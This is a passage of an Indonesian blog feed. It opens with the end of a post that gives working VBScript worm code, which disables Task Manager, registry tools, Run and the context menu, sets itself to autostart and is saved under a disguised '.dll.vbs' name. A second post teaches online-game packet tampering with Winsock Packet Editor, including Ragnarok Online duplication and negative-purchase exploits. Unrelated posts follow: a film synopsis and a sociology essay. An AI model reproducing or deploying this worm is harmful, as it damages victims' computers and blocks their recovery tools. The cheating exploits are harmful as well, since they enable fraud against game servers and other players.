/&gt;kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\NoRun, 1, REG_DWORD&lt;br /&gt;kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\System\DisableRegistryTools, 1, REG_DWORD&lt;br /&gt;kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\System\DisableTaskMgr, 1, REG_DWORD&lt;br /&gt;&lt;br /&gt;//Manip Disable klik kanan//&lt;br /&gt;kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\NoViewContextMenu, 1, REG_DWORD&lt;br /&gt;&lt;br /&gt;//Manip - Munculkan Pesan Setiap Windows Startup//&lt;br /&gt;kalong.regwrite HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Winlogon\LegalNoticeCaption, Worm Qalby. Variant from Qalby, dont panic all data are safe.&lt;br /&gt;&lt;br /&gt;//Manip Aktif setiap Windows Startup//&lt;br /&gt;kalong.regwrite HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Run\Systemdir, windowpath &amp; \batch- k4l0n6.dll.vbs&lt;br /&gt;&lt;br /&gt;//Manip Ubah RegisteredOwner dan Organization//&lt;br /&gt;kalong.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization, The Batrix&lt;br /&gt;kalong.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner,Qalby&lt;br /&gt;&lt;br /&gt;//Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan//&lt;br /&gt;if check &lt;&gt; 1 then&lt;br /&gt;Wscript.sleep 200000&lt;br /&gt;end if&lt;br /&gt;loop while check &lt;&gt; 1&lt;br /&gt;set sd = createobject(Wscript.shell)&lt;br /&gt;sd.run windowpath &amp; \explorer.exe /e,/select, &amp; Wscript.ScriptFullname&lt;br /&gt;Akhir dari Kode&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Save code di Notepad dengan cara FILE &gt; SAVE. Lalu di save as type pilih All Files (*.*). Simpan dengan nama : m0t0rku.dll.vbs. Sebenarnya gak usah pake .dll juga gak apa-apa.&lt;br /&gt;Soalnya ini hanya usaha agar tidak mencurigakan aja...&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-3045728232696441554?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/3045728232696441554/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/mo-buat-virus.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/3045728232696441554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/3045728232696441554'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/mo-buat-virus.html' title='Membuat Viruse dari Notepad?? bisa koq ^^'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2485734577697495709</id><published>2010-01-07T21:55:00.003+07:00</published><updated>2010-01-12T01:35:44.707+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WPE'/><title type='text'>Belajar memakai WPE</title><content type='html'>Saya akan memberikan tutorial sedikit tentang pemakaian WPE&lt;br /&gt;&lt;br /&gt;Tutorial ini akan dibagi menjadi 5 bagian yaitu :&lt;br /&gt;&lt;br /&gt;Chapter 1 ) Game Online apa dan bagaimana&lt;br /&gt;&lt;br /&gt;Chapter 2 ) Peralatan yang dibutuhkan&lt;br /&gt;&lt;br /&gt;Chapter 3 ) Review tentang cheat-cheat yang lalu&lt;br /&gt;&lt;br /&gt;Chapter 4 ) Bagaimana mengunakan WPE&lt;br /&gt;&lt;br /&gt;Chapter 5 ) Memahami bagaimana cara menghack game online&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chapter 1 ) Game Online apa dan bagaimana ??&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Game adalah suatu permainan yang mampu menghibur, mendidik, mengajarkan kita untuk bisa berkomunikasi dengan orang lain. Banyak dari kalian yang mungkin berkenalan dengan orang lain melalui game, mungkin sekedar chatting, namun mungkin tidak sedikit yang jadian karena game ^_^ . Game Online jika kita pikirkan baik-baik berarti game yang memakai koneksi internet dan dimainkan oleh banyak orang.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pernahkah kamu berfikir bagaimana caranya kita bisa berkomunikasi dengan orang lain dalam suatu game ?, Pernahkah kamu bertanya dalam hati bagaimana caranya suatu game terutama 3D game bisa berjalan melalui kabel internet ?, mungkin kamu pernah berfikir seperti itu, karena game bagi kebanyakan orang adalah dunia yang lain, dunia maya yang diimpikan oleh setiap orang, dunia yang membuat kita merasa bisa melakukan apapun ^_^ ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sebenarnya hampir semua game *mungkin juga semua aplikasi seperti Frenster, Live Conn, dll yang mengunakan internet mengunakan sistim komunikasi yang sama yaitu packet, packet adalah sebuah kumpulan data yang berukuran sangat kecil between 1 bytes - 500 bytes *kurang tahu. Dengan memakai packet semua game bisa berkomunikasi satu dengan yang lainnya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pada dasarnya Semua Game online mengunakan sistim Client - Server, dimana program yang diberikan ke kita adalah clientnya dan Server mereka yang pegang. Cara kerja dari game-game semacam ini adalah seperti berikut:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------ Permintaan dari client ------------&lt;br /&gt;&lt;br /&gt;| | -----------------------&amp;gt; | |&lt;br /&gt;&lt;br /&gt;| Client | | Server |&lt;br /&gt;&lt;br /&gt;| | &amp;lt;----------------------- | |&lt;br /&gt;&lt;br /&gt;------------ Reply balik dari server ------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;kita akan mengunakan Ragnarok Online sebagai contoh, pada RO bagian Server menyimpan bermacam-macam hal yang sangat penting seperti status, karakter, zenny, monster, dll. Sedangkan bagian Client tidak menyimpan apapun hanya bisa meminta data-data tentang status, karakter, zenny, dll, dan juga menampilkannya pada layar client. Semua perhitungan seperti Pembelian barang, Penjualan Barang, Menyerang Monster, Transaksi, Dan semacamnya adalah Server Side. Client side hanya bertugas mengirim packet untuk melakukan berbagai hal tersebut....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chapter 2 ) Peralatan yang dibutuhkan&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Banyak yang tidak menyadari sama sekali bahwa peralatan yang paling dasar ada pada komputer mereka sendiri, peralatan ini disediakan oleh para pembuat game tersebut yang secara sadar atau tidak dibuat oleh mereka sendiri bisa menjadi alat untuk melakukan hacking dalam game itu sendiri..tentu saja tetap diperlukan beberapa tambahan alat lain.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Peralatan :&lt;br /&gt;&lt;br /&gt;1. Client Ragnarok&lt;br /&gt;&lt;br /&gt;2. Winsock Packet Editor atau WPE&lt;br /&gt;&lt;br /&gt;3. Sedikit Logika&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Peralatan 1 Client Ragnarok :&lt;br /&gt;&lt;br /&gt;client tetap dibutuhkan untuk bisa login ke ragnarok, tapi client juga bisa gunakan sebagai alat untuk melakukan beberapa trik-trik berbahaya ^_^ ..Inilah peralatan paling dasar yang dibuat oleh gravity untuk menghack game mereka sendiri. Dari waktu ke waktu client berubah karena patch untuk bug yang mereka ketahui pelan-pelan, maka saran saya client kamu backup untuk melihat perubahan apa yang ada dalam client itu sendiri....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Peralatan 2 Winsock Packet Editor :&lt;br /&gt;&lt;br /&gt;WPE adalah salah satu packet logger dan sender terbaik yang pernah saya pakai, kalian bisa mencari dengan googling dengan mengunakan kata Winsock Packet Editor.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Peralatan 3 Sedikit Logika :&lt;br /&gt;&lt;br /&gt;Uhmm.......Soal ini tidak perlu saya terangkan karena kalian bisa memikirkannya sendiri.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Semua peralatan hanyalah alat, tetap diperlukan otak kita untuk menjalankan peralatan tersebut ^_^ .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chapter 3 ) Review tentang cheat - cheat yang lalu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Banyak sekali cheat - cheat yang dulu sempat di rilis oleh beberapa forum dan diantaranya sudah dipatch di beberapa server baik itu official maupun privat. Beberapa cheat masih bisa dikembangkan maupun dibuat ulang, namun tidak semua bisa berjalan lagi. Berikut adalah ulasan beberapa cheat-cheat :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Waterball tanpa air&lt;br /&gt;&lt;br /&gt;2. Waterball lv 10&lt;br /&gt;&lt;br /&gt;3. 7 level gratis&lt;br /&gt;&lt;br /&gt;4. Barang Setan on Private Server&lt;br /&gt;&lt;br /&gt;5. Teleport Bug on eAthena&lt;br /&gt;&lt;br /&gt;6. Mvp Finder&lt;br /&gt;&lt;br /&gt;7. Hexing Ragexe&lt;br /&gt;&lt;br /&gt;8. And Many Others&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Semua cheats/bug diatas mengunakan wpe sebagai alat bantu, terutama tentang teleport bug on eathena gua make wpe untuk nemuin tu bug. sedangkan beberapa bagian seperti MvP finder, Hexing Ragexe memakai logika saja hingga bisa seperti itu ^_^ ....&lt;br /&gt;&lt;br /&gt;Chapter 4 ) Bagaimana cara memakai wpe ?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pada chapter ini akan saya jelaskan kegunaan dari masing-masing fungsi dalam wpe.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Target Program Tekan tombol tersebut untuk mencari program mana yang hendak di injeksi oleh Wpe contoh: Ragexe.exe.&lt;br /&gt;&lt;br /&gt;2. Tombol Start Bila ingin merekam paket yang datang maupun pergi tekan tombol start.&lt;br /&gt;&lt;br /&gt;3. Tombol Stop Digunakan untuk menghentikan merekam paket yang datang dan pergi&lt;br /&gt;&lt;br /&gt;4. Itu untuk melihat berapa jumlah packet baik yang datang maupun pergi.&lt;br /&gt;&lt;br /&gt;5. filter disini berguna untuk menyaring paket yang datang maupun paket yang pergi, biasa digunakan untuk memodifikasi packet.&lt;br /&gt;&lt;br /&gt;6. send disitu digunakan untuk mengirim packet ke server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cara pemakaian dari wpe adalah sebagai berikut ( ikuti step by step ) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Nyalakan Winsock Packet Editor&lt;br /&gt;&lt;br /&gt;2. Nyalakan Ragnarok Client kamu a.k.a ragexe.exe&lt;br /&gt;&lt;br /&gt;3. Balik ke wpe dan tekan tombol Target Program, cari ragexe.exe ( client Ro kita )&lt;br /&gt;&lt;br /&gt;4. balik ke ragnarok, sekarang login hingga kamu masuk ke dunia RO.&lt;br /&gt;&lt;br /&gt;5. jika sudah masuk, balik lagi ke wpe dan tekan tombol start dan balik lagi ke RO&lt;br /&gt;&lt;br /&gt;6. pada console RO ketikkan "Halo RO Mania"&lt;br /&gt;&lt;br /&gt;7. balik ke WPE dan tekan tombol stop, akan muncul jendela pada nomor 6&lt;br /&gt;&lt;br /&gt;8. Kamu cari pada jendela tersebut tulisan "Halo RO Mania"&lt;br /&gt;&lt;br /&gt;9. Kamu bingung kenapa ada 2 ? itu karena client mengirim server dan server mengembalikannya, cari saja bagian yang ada kata "send" nya karena itu adalah packet asli yang kamu kirim...&lt;br /&gt;&lt;br /&gt;10. klik kanan pada packet tersebut dan pilih send, akan muncul sebuah jendela yang berisi packet kamu dan sebuah tombol start berukuran besar.&lt;br /&gt;&lt;br /&gt;11. Klik tombol start tersebut sekali saja lalu balik ke RO, apa yang terjadi ? kamu baru saja mengirim packet pesan "Halo Ro Mania" melalui Wpe.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Selamat mencoba dasarnya dan kalian kembangkan sendiri pemakaiannya......&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chapter 5 ) Bagaimana cara menghack game online ?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;kita sampai pada chapter dimana semua cheat/bug lama akan dibahas. dibutuhkan waktu 1/2 tahun buat gue untuk memahami secara penuh apa itu game online dan cara menghacknya. Pengalaman dari membaca bermacam-macam post, mencari - cari seperti meraba-raba dalam kegelapan, mencoba pada game itu sendiri ( sampe keband 2 kali ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Seperti pada chapter 1, game online mengunakan packet sebagai komunikasi antara client dengan server. Umumnya client mengirim packet yang bisa dibaca oleh server ( dikasih tanda ) pada awalan packet seperti 27 00, A2 00 atau seperti itu. Masing - masing tanda memiliki kegunaan sendiri - sendiri seperti berjalan, transaksi, menyerang, dll. setiap packet memiliki size yang berbeda, ada yang size selalu tetap, tapi ada juga berubah-ubah.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Diantara packet - packet ada banyak packet yang tersembunyi yang bisa kita kirimkan, namun itu semua tergantung dari kamu dan sedikit keberuntungan dalam menemukannya. packet tersebut bisa kita kirimkan untuk merubah sesuatu dalam karakter kita ^_^ .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*Pada server privat dulu bila kita mengirimkan packet yang tidak dimengerti oleh server, maka server bisa crash. Namun pada server private sekarang apabila kita mengirimkan packet yang tidak diketahui maka ada 3 kemungkinan : 1.Server tidak terjadi apa2, 2. server mendapatkan error dan memaksa kamu dc, 3. server menyimpan packet dan selamat anda keband permanent ^_^ ....&lt;br /&gt;&lt;br /&gt;jadi pada hacking game online tidak ada istilah mengirim packet yang tidak sah/ada untuk mendapatkan item, zenny, atau status.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Semua packet yang digunakan untuk merubah zeny, status, dll itu adalah packet sah/ada yang dikirim ke server ( hanya saja dilakukan sedikit modifikasi pada packet tersebut ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;juga pada setiap game pasti ada suatu kekurangan pada bagian tertentu, dan itu biasa digunakan sebagai exploit. contoh zenny bug berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dulu pada beberapa server privat/official bila kita ke geffen dan membeli phracon, jika kita memasukkan -1111111111 pada jumlah barang yang kita beli, maka kita akan mendapat zenny yang sangat banyak dan itu adalah server side.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;pada kasus diatas pembuat Ro tidak berfikir bahwa orang akan membeli secara negatif, jadi tidak ada proteksi sama sekali untuk hal tersebut, inilah yang kemudian dikenal dengan "human error".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;another example yang gua dapet dari suatu situs but disitu gak dibilang siapa yang nemuin ( blank credit ). soalnya yang post mencuri ide ini dari situs lain &amp;gt;.&amp;lt; ....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*Pada dahulu kala pada beberapa private server terdapat suatu keanehan, keanehan yang bahkan tidak dimiliki oleh GM (omg), keanehan tersebut berupa armor dan senjata. terdapat sebuah senjata yang maha dahsyat ( +10 pike isi 4 infiltrator ) what the f*** dan juga ( +7 helm isi poo poo hat ) @&amp;amp;#*$*@^%. bagaimana mungkin ??? ternyata terdapat suatu bug yang bisa di exploit yaitu packet pada saat kita memasukkan kartu kedalam slot sebuah senjata/armor. ( bug ini saya kurang tahu karena baca sekilas saja ), kalau saya tidak salah packet seperti ini.....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;packet asli : 7c 00 00 09 05 00 00 ( kira-kira seperti ini loh )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7c = perintah memasukan kartu kedalam armor/weapon&lt;br /&gt;&lt;br /&gt;09 = nomor urut kartu pada inventory&lt;br /&gt;&lt;br /&gt;05 = nomor armor/equip yang berada pada inventory kita&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;biar lebih jelas seperti ini pada inventory terdapat 3 barang yaitu : helm[1], poo poo hat, kartu deviruchi. masing-masing punya id sendiri pada contoh diatas helm[1] adalah 05, poo poo hat adalah 04 dan deviruchi card adalah 09. jika kita ingin memasukkan deviruchi card pada helm[1] maka kita akan mengirim packet seperti dibawah ini:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Memasukan Devi to helm : 7c 00 00 09 05 00 00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dengan mengunakan wpe kita mengubah packet hingga seperti berikut:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mengubah packet dari poo2hat ke helm : 7c 00 00 04 05 00 00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;kita bisa lihat dengan mengubah nomor dari deviruchi menjadi poo poo hat maka akan menjadi helm[1] isi poo poo hat ^_^ .....namun cara ini sudah dipatch pada beberapa server.....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Jika kita telusuri baik-baik maka kita mengetahui bahwa untuk mendapat suatu cheat hanya diperlukan logika dan sedikit uji coba. kita hanya mengirimkan packet sah/ada namun sedikit di modifikasi untuk mencari bugnya ^^. Tidak ada yang namanya program langsung jadi yang bisa ngubah kamu menjadi Game Master atau Trik-Trik Sulap yang bisa membuat kamu mendapat item-item dewa dan kartu-kartu ultra rare......itu hanya bug yang bisa dicari oleh manusia dengan mengunakan logika mereka.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2485734577697495709?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2485734577697495709/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/belajar-memakai-wpe.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2485734577697495709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2485734577697495709'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/belajar-memakai-wpe.html' title='Belajar memakai WPE'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-846569044448971667</id><published>2010-01-07T21:26:00.000+07:00</published><updated>2010-01-07T21:27:05.512+07:00</updated><title type='text'>Avatar</title><content type='html'>&lt;div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img alt="" class="thumb" src="http://www.21cineplex.com/images/film/film21941.jpg" /&gt;                            &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a class="ex2trigger" href="http://www.21cineplex.com/invite-friend.cfm?id=2194" id="demo1" rel="nofollow"&gt;&lt;/a&gt;&lt;br /&gt;Jake Sully (Sam Worthington), mantan angkatan laut Amerika yang terluka dan cacat akibat perang. Ia terpilih untuk berpartisipasi&amp;nbsp; dalam program Avatar, yang memungkinkannya bisa berjalan kembali. Jack menuju ke Pandora, sebuah hutan nan subur yang penuh dengan berbagai macam makhluk hidup, sebahagian indah dan sebahagian lagi menakutkan. Pandora juga rumah bagi suku Na’vi, makhluk yang mirip manusia dengan kehidupan primitif serta memiliki kemampuan seperti manusia. Saat manusia mencoba memasuki Pandora untuk meneliti kandungan mineral yang ada disana, suku Na’vi memerintahkan para prajuritnya untuk melindungi negerinya dari ancaman&lt;br /&gt;Jake direkrut untuk menjadi bagian dari proyek ini. Karena manusia tidak dapat menghirup udara di negeri Pandora, maka mereka menciptakan makhluk-mirip-suku Na’vi yang mereka sebut sebagai Avatar. Di Pandora, dengan tubuh Avatar, Jake dapat berjalan kembali. Di hutan Pandora, Jake melihat banyak keindahan dan bahaya. Ia juga bertemu dengan wanita muda Na’vi bernama Neytiri (Zoe Saldaña).&lt;br /&gt;Berjalannya waktu, Jake berbaur dengan suku Na’vi dan jatuh cinta kepada Neytiri. Pada akhirnya, Jake terjepit antara tujuannya dikirim oleh militer ke Pandora dan suku Na’vi, memaksanya untuk memihak pada satu pilihan yang akan menentukan nasib bumi dan suku Na’vi&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-846569044448971667?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/846569044448971667/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/avatar.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/846569044448971667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/846569044448971667'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/avatar.html' title='Avatar'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-6584777352981306349</id><published>2009-11-19T23:35:00.000+07:00</published><updated>2009-12-19T01:10:46.369+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Pelapisan Sosial Masyarakat</title><content type='html'>&lt;span style="font-family:times new roman;"&gt;Pelapisan sosial atau stratifikasi sosial (social stratification) adalah pembedaan atau pengelompokan para anggota masyarakat secara vertikal (bertingkat).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Pengertian&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Definisi sistematik antara lain dikemukakan oleh Pitirim A. Sorokin bahwa pelapisan sosial merupakan pembedaan penduduk atau masyarakat ke dalam kelas-kelas secara bertingkat (hierarkis). Perwujudannya adalah adanya lapisan-lapisan di dalam masyarakat, ada lapisan yang tinggi dan ada lapisan-lapisan di bawahnya. Setiap lapisan tersebut disebut strata sosial. P.J. Bouman menggunakan istilah tingkatan atau dalam bahasa belanda disebut stand, yaitu golongan manusia yang ditandai dengan suatu cara hidup dalam kesadaran akan beberapa hak istimewa tertentu dan menurut gengsi kemasyarakatan. Istilah stand juga dipakai oleh Max Weber.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Dasar-dasar pembentukan pelapisan sosial&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ukuran atau kriteria yang menonjol atau dominan sebagai dasar pembentukan pelapisan sosial adalah sebagai berikut.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ukuran kekayaan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Kekayaan (materi atau kebendaan) dapat dijadikan ukuran penempatan anggota masyarakat ke dalam lapisan-lapisan sosial yang ada, barang siapa memiliki kekayaan paling banyak mana ia akan termasuk lapisan teratas dalam sistem pelapisan sosial, demikian pula sebaliknya, barang siapa tidak mempunyai kekayaan akan digolongkan ke dalam lapisan yang rendah. Kekayaan tersebut dapat dilihat antara lain pada bentuk tempat tinggal, benda-benda tersier yang dimilikinya, cara berpakaiannya, maupun kebiasaannya dalam berbelanja.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ukuran kekuasaan dan wewenang&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Seseorang yang mempunyai kekuasaan atau wewenang paling besar akan menempati lapisan teratas dalam sistem pelapisan sosial dalam masyarakat yang bersangkutan. Ukuran kekuasaan sering tidak lepas dari ukuran kekayaan, sebab orang yang kaya dalam masyarakat biasanya dapat menguasai orang-orang lain yang tidak kaya, atau sebaliknya, kekuasaan dan wewenang dapat mendatangkan kekayaan.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ukuran kehormatan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ukuran kehormatan dapat terlepas dari ukuran-ukuran kekayaan atau kekuasaan. Orang-orang yang disegani atau dihormati akan menempati lapisan atas dari sistem pelapisan sosial masyarakatnya. Ukuran kehormatan ini sangat terasa pada masyarakat tradisional, biasanya mereka sangat menghormati orang-orang yang banyak jasanya kepada masyarakat, para orang tua ataupun orang-orang yang berprilaku dan berbudi luhur.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ukuran ilmu pengetahuan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ukuran ilmu pengetahuan sering dipakai oleh anggota-anggota masyarakat yang menghargai ilmu pengetahuan. Seseorang yang paling menguasai ilmu pengetahuan akan menempati lapisan tinggi dalam sistem pelapisan sosial masyarakat yang bersangkutan. Penguasaan ilmu pengetahuan ini biasanya terdapat dalam gelar-gelar akademik (kesarjanaan), atau profesi yang disandang oleh seseorang, misalnya dokter, insinyur, doktorandus, doktor ataupun gelar profesional seperti profesor. Namun sering timbul akibat-akibat negatif dari kondisi ini jika gelar-gelar yang disandang tersebut lebih dinilai tinggi daripada ilmu yang dikuasainya, sehingga banyak orang yang berusaha dengan cara-cara yang tidak benar untuk memperoleh gelar kesarjanaan, misalnya dengan membeli skripsi, menyuap, ijazah palsu dan seterusnya.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Tiga Sifat Stratifikasi Sosial&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Menurut Soerjono Soekanto, dilihat dari sifatnya pelapisan sosial dibedakan menjadi sistem pelapisan sosial tertutup, sistem pelapisan sosial terbuka, dan sistem pelapisan sosial campuran.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Stratifikasi Sosial Tertutup (Closed Social Stratification)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Stratifikasi ini adalah stratifikasi dimana anggota dari setiap strata sulit mengadakan mobilitas vertikal. Walaupun ada mobilitas tetapi sangat terbatas pada mobilitas horisontal saja. Contoh:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;  - Sistem kasta.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;   Kaum Sudra tidak bisa pindah posisi naik di lapisan Brahmana.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; - Rasialis.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;   Kulit hitam (negro) yang dianggap di posisi rendah tidak bisa pindah kedudukan di posisi kulit putih.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; - Feodal.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;   Kaum buruh tidak bisa pindah ke posisi juragan/majikan.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;b. Stratifikasi Sosial Terbuka (Opened Social Stratification)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Stratifikasi ini bersifat dinamis karena mobilitasnya sangat besar. Setiap anggota strata dapat bebas melakukan mobilitas sosial, baik vertikal maupun horisontal. Contoh:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;  - Seorang miskin karena usahanya bisa menjadi kaya, atau sebaliknya.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;  - Seorang yang tidak/kurang pendidikan akan dapat memperoleh pendidikan asal ada niat dan usaha.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;c.Stratifikasi Sosial Campuran&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Stratifikasi sosial campuran merupakan    kombinasi antara stratifikasi tertutup dan terbuka. Misalnya, seorang Bali berkasta Brahmana mempunyai kedudukan terhormat di Bali, namun apabila ia pindah ke Jakarta menjadi buruh, ia memperoleh kedudukan rendah. Maka, ia harus menyesuaikan diri dengan aturan kelompok masyarakat di Jakarta. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;  Pengaruh Diferensiasi Sosial dan Stratifikasi Sosial dalam Masyarakat&lt;/span&gt;&lt;br /&gt;&lt;span 